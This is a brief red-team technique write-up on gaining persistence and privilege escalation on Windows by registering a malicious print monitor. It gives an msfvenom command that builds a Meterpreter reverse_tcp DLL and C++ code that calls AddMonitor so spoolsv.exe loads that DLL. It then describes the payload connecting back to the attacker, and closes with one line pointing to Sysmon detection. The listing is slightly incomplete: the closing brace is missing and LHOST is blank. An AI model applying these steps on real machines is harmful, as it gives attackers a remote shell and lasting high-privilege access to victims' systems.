Persistence, Privilege Escalation


Generating a 64-bit meterpreter payload to be injected into the spoolsv.exe:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=443 -f dll > evil64.dll

Writing and compiling a simple C++ code that will register the monitor port:

#include "stdafx.h"
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("evilMonitor");
TCHAR dll[12] = TEXT("evil64.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;

Move evil64.dll to %systemroot% and execute the compiled monitor.cpp.


Upon launching the compiled executable and inspecting the victim machine with procmon, we can see that the evil64.dll is being accessed by the spoolsvc:

which eventually spawns a rundll32 with meterpreter payload, that initiates a connection back to the attacker:

The below confirms the procmon results explained above:

Sysmon commandline arguments and network connection logging to the rescue: